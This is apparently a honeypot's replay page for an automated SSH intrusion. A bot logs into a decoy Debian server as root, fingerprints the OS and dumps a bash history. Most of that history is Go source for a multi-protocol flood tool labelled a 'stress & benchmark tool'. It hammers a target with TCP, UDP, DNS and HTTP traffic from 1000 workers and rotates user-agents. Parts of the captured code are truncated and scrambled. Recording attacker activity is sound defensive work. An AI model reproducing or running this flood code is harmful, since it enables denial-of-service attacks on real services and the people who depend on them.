← All sessions
Ended · replayGot inTyped by a botpasted 1 line, no typed lines, no pauses of 2 s or more

Got in and looked around

on Johannesburg, South Africaorbit-lynx-19i from Warsaw, Polandseen 3 times this weekSSH-2.0-libssh2_1.11.1

root@za-jnb-gcp-1 · 🇿🇦 Johannesburg
connected from 🇵🇱 Warsaw, Poland · SSH-2.0-libssh2_1.11.1
root@za-jnb-gcp-1's password: 
Logged in as root
root@za-jnb-gcp-1:~# sh -c 'HISTFILE=;SA_OS_TYPE="Linux"
REAL_OS_NAME=`uname`
if [ "$REAL_OS_NAME" != "$SA_OS_TYPE" ] ;
then
	echo `uname` 
else
DISTRIB_ID=\"`cat /etc/*release`\"
	echo $REAL_OS_NAME;
	echo $DISTRIB_ID;
fi;
exit;'
Linux
"PRETTY_NAME="Debian GNU/Linux 12 (bookworm)" NAME="Debian GNU/Linux" VERSION_ID="12" VERSION="12 (bookworm)" VERSION_CODENAME=bookworm ID=debian HOME_URL="https://www.debian.org/" SUPPORT_URL="https://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/""
root@za-jnb-gcp-1:~# uname -n
za-jnb-gcp-1
root@za-jnb-gcp-1:~# echo $SHELL; exit
/bin/bash
root@za-jnb-gcp-1:~# cat .bash_history;
sleep .3;
elapsed := time.Since(start).Microseconds()
if elapsed > 0 && count > 0 {
loc.latency += uint64(elapsed)
loc.latCnt += count
}
}

func promptLine(reader *bufio.Reader, label, def string) string {
if def != "" {
fmt.Printf("  %s%s%s %s[%s]%s: ", cyan, bold, label, dim, def, rst)
} else {
fmt.Printf("  %s%s%s: ", cyan, bold, label, rst)
}
line, _ := reader.ReadString('\n')
line = strings.TrimSpace(line)
if line == "" {
return def
}
return line
}

func promptInt(reader *bufio.Reader, label string, def int) int {
for {
val := promptLine(reader, label, strconv.Itoa(def))
n, err := strconv.Atoi(val)
if err == nil && n > 0 {
return n
}
fmt.Printf("  %sیک عدد مثبت معتبر وارد کن.%s\n", red, rst)
}
}

func printBanner() {
fmt.Printf("\n%s%s╔══════════════════════════════════════════════════════╗%s\n", mag, bold, rst)
fmt.Printf("%s%s║         GO NETWORK STRESS & BENCHMARK TOOL           ║%s\n", mag, bold, rst)
fmt.Printf("%s%s╚══════════════════════════════════════════════════════╝%s\n\n", mag, bold, rst)
}

func main() {
targetFlag := flag.String("target", "", "Target host or URL")
portFlag := flag.String("port", "", "Target port")
protoFlag := flag.String("proto", "tcp,udp,http,dns", "Protocols (tcp,udp,http,dns)")
workersFlag := flag.Int("w", 1000, "Workers")
connsFlag := flag.Int("c", 2, "Conns per worker")
burstFlag := flag.Int("burst", 128, "Ops per batch")
durFlag := flag.Int("d", 30, "Duration seconds")
timeoutMsFlag := flag.Int("timeout-ms", 500, "Timeout ms")
payloadSizeFlag := flag.Int("payload-size", 4096, "Payload size")
rpsFlag := flag.Int("rps", 0, "Global RPS limit (0=unlimited)")
methodFlag := flag.String("method", "GET", "HTTP method")
flag.Parse()

printBanner()

target := strings.TrimSpace(*targetFlag)
port := strings.TrimSpace(*portFlag)
proto := strings.TrimSpace(*protoFlag)
workers := *workersFlag
connsPerWorker := *connsFlag
burst := *burstFlag
durSec := *durFlag
timeoutMs := *timeoutMsFlag
payloadSize := *payloadSizeFlag
rpsLimit := *rpsFlag
httpMethod := strings.ToUpper(strings.TrimSpace(*methodFlag))

if target == "" {
reader := bufio.NewReader(os.Stdin)
for target == "" {
target = promptLine(reader, "تارگت (دامنه، IP یا URL)", "")
if target == "" {
fmt.Printf("  %sتارگت نباید خالی باشه!%s\n", red, rst)
}
}
port = promptLine(reader, "پورت", "443")
proto = promptLine(reader, "پروتکل‌ها (tcp,udp,http,dns)", proto)
workers = promptInt(reader, "تعداد Worker", workers)
durSec = promptInt(reader, "مدت زمان تست (ثانیه)", durSec)
fmt.Println()
}

if workers <= 0 || connsPerWorker <= 0 || durSec <= 0 {
fmt.Printf("%sمقادیر ورودی نامعتبر هستند.%s\n", red, rst)
return
}

runtime.GOMAXPROCS(runtime.NumCPU())

ctx, cancel := context.WithTimeout(context.Background(), time.Duration(durSec)*time.Second)
defer cancel()

sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
go func() {
select {
case <-sigCh:
fmt.Printf("\n%s%s[!] توقف با دستور کاربر... در حال جمع‌آوری آمار%s\n", yell, bold, rst)
cancel()
case <-ctx.Done():
}
}()

var g GlobalStats

batchSize := max(1, burst)
unitSize := max(256, payloadSize)

masterUnit := make([]byte, unitSize)
for i := range masterUnit {
masterUnit[i] = byte(0xC3 ^ byte(i) ^ byte(i>>7))
}
masterBig := make([]byte, unitSize*batchSize)
for b := 0; b < batchSize; b++ {
copy(masterBig[b*unitSize:], masterUnit)
}

timeout := time.Duration(timeoutMs) * time.Millisecond
httpURL, hpAddr, hostOnly := buildTarget(target, port)
_, portOnly, _ := net.SplitHostPort(hpAddr)
dnsAddr := net.JoinHostPort(hostOnly, "53")

fmt.Printf("  %s● تارگت:%s %s%s%s\n", green, rst, bold, hostOnly, rst)
fmt.Printf("  %s● پورت:%s %s%s%s %s(%s)%s\n", green, rst, bold, portOnly, rst, dim, hpAddr, rst)
fmt.Printf("  %s● URL تست HTTP:%s %s%s%s\n", green, rst, blue, httpURL, rst)
fmt.Printf("  %s● پروتکل‌ها:%s %s%s%s  |  %sWorkers:%s %s%d%s  |  %sمدت:%s %s%ds%s\n\n",
green, rst, yell, proto, rst,
green, rst, cyan, workers, rst,
green, rst, cyan, durSec, rst)

dialer := &net.Dialer{
Timeout:   timeout,
KeepAlive: 60 * time.Second,
Control: func(network, address string, c syscall.RawConn) error {
return c.Control(func(fd uintptr) {
_ = syscall.SetsockoptInt(int(fd), syscall.IPPROTO_TCP, syscall.TCP_NODELAY, 1)
})
},
}

tr := &http.Transport{
MaxIdleConns:          workers * connsPerWorker * 2,
MaxIdleConnsPerHost:   workers * connsPerWorker,
MaxConnsPerHost:       0,
IdleConnTimeout:       90 * time.Second,
TLSHandshakeTimeout:   timeout,
ResponseHeaderTimeout: timeout,
ExpectContinueTimeout: 50 * time.Millisecond,
DisableCompression:    true,
ForceAttemptHTTP2:     true,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
MinVersion:         tls.VersionTLS12,
ClientSessionCache: tls.NewLRUClientSessionCache(2048),
},
DialContext: dialer.DialContext,
}
client := &http.Client{
Transport: tr,
Timeout:   timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}

protos := make([]string, 0, 4)
for _, p := range strings.Split(proto, ",") {
p = strings.ToLower(strings.TrimSpace(p))
if p != "" {
protos = append(protos, p)
}
}
if len(protos) == 0 {
protos = []string{"tcp"}
}

var rateCh <-chan struct{}
if rpsLimit > 0 {
interval := time.Second / time.Duration(rpsLimit)
if interval <= 0 {
interval = time.Nanosecond
}
bufSize := min(rpsLimit*2, 100000)
if bufSize < 1 {
bufSize = 1
}
ch := make(chan struct{}, bufSize)
go func() {
ticker := time.NewTicker(interval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
select {
case ch <- struct{}{}:
default:
}
}
}
}()
rateCh = ch
}

uaPool := []string{
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15",
}

var wg sync.WaitGroup
for i := 0; i < workers; i++ {
wg.Add(1)
go func(id int) {
defer wg.Done()
rng := mrand.New(mrand.NewSource(time.Now().UnixNano() + int64(id)*int64(-7046029254386353131)))
var loc LocalStats

unitPayload := make([]byte, unitSize)
copy(unitPayload, masterUnit)
bigPayload := make([]byte, len(masterBig))
copy(bigPayload, masterBig)

tcpConns := make([]net.Conn, connsPerWorker)
udpConns := make([]net.Conn, connsPerWorker)
dnsConns := make([]net.Conn, connsPerWorker)
tcpIdx, udpIdx, dnsIdx := 0, 0, 0

defer func() {
for _, c := range tcpConns {
if c != nil {
_ = c.Close()
}
}
for _, c := range udpConns {
if c != nil {
_ = c.Close()
}
}
for _, c := range dnsConns {
if c != nil {
_ = c.Close()
}
}
loc.flush(&g)
}()

dnsBuf := make([]byte, 128)
var seq uint16
iters := 0
lastDeadline := time.Time{}

baseReq, _ := http.NewRequestWithContext(ctx, httpMethod, httpURL, nil)
if baseReq != nil {
baseReq.Header.Set("Accept", "*/*")
baseReq.Header.Set("Connection", "keep-alive")
}

for {
if ctx.Err() != nil {
return
}
if rateCh != nil {
select {
case <-rateCh:
case <-ctx.Done():
return
}
}

p := protos[rng.Intn(len(protos))]
now := time.Now()
refreshDeadline := now.Sub(lastDeadline) > 250*time.Millisecond

switch p {
case "tcp":
start := now
idx := tcpIdx % connsPerWorker
tcpIdx++
if tcpConns[idx] == nil {
c, err := dialer.DialContext(ctx, "tcp", hpAddr)
if err != nil {
loc.err++
if ne, ok := err.(net.Error); ok && ne.Timeout() {
loc.timeout++
} else {
loc.netErr++
}
break
}
if tc, ok := c.(*net.TCPConn); ok {
_ = tc.SetNoDelay(true)
_ = tc.SetKeepAlive(true)
_ = tc.SetKeepAlivePeriod(30 * time.Second)
}
tcpConns[idx] = c
_ = c.SetWriteDeadline(now.Add(timeout))
lastDeadline = now
}
conn := tcpConns[idx]
if refreshDeadline {
_ = conn.SetWriteDeadline(now.Add(timeout))
lastDeadline = now
}
binary.LittleEndian.PutUint64(bigPayload[0:8], rng.Uint64())
n, err := conn.Write(bigPayload)
if err != nil {
_ = conn.Close()
tcpConns[idx] = nil
loc.err++
if ne, ok := err.(net.Error); ok && ne.Timeout() {
loc.timeout++
} else {
loc.netErr++
}
break
}
loc.ok += uint64(batchSize)
loc.bytes += uint64(n)
recordLatency(&loc, start, uint64(batchSize))

case "udp":
idx := udpIdx % connsPerWorker
udpIdx++
if udpConns[idx] == nil {
c, err := dialer.DialContext(ctx, "udp", hpAddr)
if err != nil {
loc.err++
loc.netErr++
break
}
udpConns[idx] = c
_ = c.SetWriteDeadline(now.Add(timeout))
lastDeadline = now
}
conn := udpConns[idx]
if refreshDeadline {
_ = conn.SetWriteDeadline(now.Add(timeout))
lastDeadline = now
}
var sent uint64
start := now
for b := 0; b < batchSize; b++ {
binary.LittleEndian.PutUint32(unitPayload[0:4], rng.Uint32())
n, err := conn.Write(unitPayload)
if err != nil {
_ = conn.Close()
udpConns[idx] = nil
loc.err++
loc.netErr++
break
}
sent++
loc.bytes += uint64(n)
}
loc.ok += sent
recordLatency(&loc, start, sent)

case "dns":
idx := dnsIdx % connsPerWorker
dnsIdx++
if dnsConns[idx] == nil {
c, err := dialer.DialContext(ctx, "udp", dnsAddr)
if err != nil {
loc.err++
loc.netErr++
break
}
dnsConns[idx] = c
_ = c.SetWriteDeadline(now.Add(timeout))
lastDeadline = now
}
conn := dnsConns[idx]
if refreshDeadline {
_ = conn.SetWriteDeadline(now.Add(timeout))
lastDeadline = now
}
var sent uint64
start := now

for b := 0; b < batchSize; b++ {
seq++
binary.BigEndian.PutUint16(dnsBuf[0:2], seq)
binary.BigEndian.PutUint16(dnsBuf[2:4], 0x0100)
binary.BigEndian.PutUint16(dnsBuf[4:6], 1)
binary.BigEndian.PutUint16(dnsBuf[6:8], 0)
binary.BigEndian.PutUint16(dnsBuf[8:10], 0)
binary.BigEndian.PutUint16(dnsBuf[10:12], 0)

pos := 12
labLen := 4 + rng.Intn(5)
dnsBuf[pos] = byte(labLen)
pos++
for i := 0; i < labLen; i++ {
dnsBuf[pos] = byte('a' + rng.Intn(26))
pos++
}
dnsBuf[pos] = 5
pos++
copy(dnsBuf[pos:], "probe")
pos += 5
dnsBuf[pos] = 0
pos++
binary.BigEndian.PutUint16(dnsBuf[pos:pos+2], 1)
binary.BigEndian.PutUint16(dnsBuf[pos+2:pos+4], 1)
q := dnsBuf[:pos+4]

n, err := conn.Write(q)
if err != nil {
_ = conn.Close()
dnsConns[idx] = nil
loc.err++
loc.netErr++
break
}
sent++
loc.bytes += uint64(n)
}
loc.ok += sent
recordLatency(&loc, start, sent)

default: // http
for b := 0; b < batchSize; b++ {
if ctx.Err() != nil {
break
}
reqStart := time.Now()
req, err := http.NewRequestWithContext(ctx, httpMethod, httpURL, nil)
if err != nil {
loc.err++
continue
}
if baseReq != nil {
req.Header = baseReq.Header.Clone()
}
req.Header.Set("User-Agent", uaPool[rng.Intn(len(uaPool))])

resp, err := client.Do(req)
if err != nil {
loc.err++
if ne, ok := err.(net.Error); ok && ne.Timeout() {
loc.timeout++
} else {
loc.netErr++
}
continue
}
copied, _ := io.Copy(io.Discard, resp.Body)
_ = resp.Body.Close()
loc.ok++
if copied > 0 {
loc.bytes += uint64(copied)
} else if resp.ContentLength > 0 {
loc.bytes += uint64(resp.ContentLength)
}
recordLatency(&loc, reqStart, 1)
}
}

iters++
if iters&0x7F == 0 {
loc.flush(&g)
}
}
}(i)
}

start := time.Now()
tk := time.NewTicker(time.Second)
defer tk.Stop()
var prevOK, prevBytes uint64

for {
e():
ce(start).Seconds(), 0.001)
et := g.NetErr.Load()
t := g.LatCnt.Load(); cnt > 0 {
cy.Load()) / float64(cnt) / 1000.0
tf("\n\n%s%s╔══════════════════════ نتیجه نهایی تست ══════════════════════╗%s\n", green, bold, rst)
tf("  %sزمان کل:%s %.2fs  |  %sموفق (OK):%s %s%d%s  |  %sخطا:%s %s%d%s %s(net:%d, to:%d)%s\n",
, rst, el, green, rst, green+bold, totOK, rst, red, rst, red+bold, totErr, rst, dim, totNet, totTo, rst)
tf("  %sمیانگین RPS:%s %s%.0f%s  |  %sداده منتقل‌شده:%s %.2f GiB (%.2f Gbps)\n",
, rst, yell+bold, float64(totOK)/el, rst, cyan, rst, float64(totBytes)/(1024*1024*1024), gbps)
tf("  %sمیانگین Latency:%s %s%.2f ms%s\n", cyan, rst, mag+bold, avgLat, rst)
tf("%s%s╚════════════════════════════════════════════════════════════╝%s\n\n", green, bold, rst)

et := g.NetErr.Load()
t := g.LatCnt.Load(); cnt > 0 {
cy.Load()) / float64(cnt) / 1000.0
tf("\r%s[%.0fs]%s %sOK/s:%s %s%d%s %s| OK:%s %d %s| Err:%s %s%d%s %s(n:%d t:%d) | Data:%s %.2f GiB %s(%.2f Gbps) | Lat:%s %.1fms   ",
+bold, time.Since(start).Seconds(), rst,
, rst, green+bold, okRps, rst,
et, curTo, rst,
 main.go < /dev/tty
EOF
chmod +x run_bench.sh && ./run_bench.sh120
clear 
wget https://go.dev/dl/go1.23.4.linux-amd64.tar.gz
clear
curl -L --connect-timeout 15 --max-time 300 -o go.tar.gz https://go.dev/dl/go1.23.4.linux-amd64.tar.gz
root@za-jnb-gcp-1:~# apt update && apt install -y golang-go
0% [Connecting to deb.debian.org (104.20.226.174)] [Connecting to security.debian.org (104.19.35.41)]                                                                                                     Ign:1 http://deb.debian.org/debian bookworm InRelease
Ign:2 http://security.debian.org/debian-security bookworm-security InRelease
Ign:3 http://deb.debian.org/debian bookworm-updates InRelease
0% [Working]            Ign:1 http://deb.debian.org/debian bookworm InRelease
Ign:2 http://security.debian.org/debian-security bookworm-security InRelease
Ign:3 http://deb.debian.org/debian bookworm-updates InRelease
0% [Working]            Ign:1 http://deb.debian.org/debian bookworm InRelease
Ign:2 http://security.debian.org/debian-security bookworm-security InRelease
Ign:3 http://deb.debian.org/debian bookworm-updates InRelease
0% [Working]            Err:1 http://deb.debian.org/debian bookworm InRelease
  Could not connect to deb.debian.org:80 (104.20.226.174), connection timed out
Err:2 http://security.debian.org/debian-security bookworm-security InRelease
  Could not connect to security.debian.org:80 (104.19.35.41), connection timed out
Err:3 http://deb.debian.org/debian bookworm-updates InRelease
  Unable to connect to deb.debian.org:http:
0% [Working]            Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
All packages are up to date.
W: Failed to fetch http://deb.debian.org/debian/dists/bookworm/InRelease  Could not connect to deb.debian.org:80 (104.20.226.174), connection timed out
W: Failed to fetch http://security.debian.org/debian-security/dists/bookworm-security/InRelease  Could not connect to security.debian.org:80 (104.19.35.41), connection timed out
W: Failed to fetch http://deb.debian.org/debian/dists/bookworm-updates/InRelease  Unable to connect to deb.debian.org:http:
W: Some index files failed to download. They have been ignored, or old ones used instead.
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
E: Unable to locate package golang-go
Connection to za-jnb-gcp-1 closed by remote host.

Idle for 5 minutes, the decoy closed the connection · 5m 43s inside

5:43 / 5:43
What they found: A company's internal database serverA database server on a company's office network, used by its business applications and looked after by a single administrator.

Live updates paused

Reconnecting…

Trying again in seconds.

The connection is gone. Reload the page to see the latest.

Paused to save the server’s work while you were away.

Couldn’t resume. Reload the page to see the latest.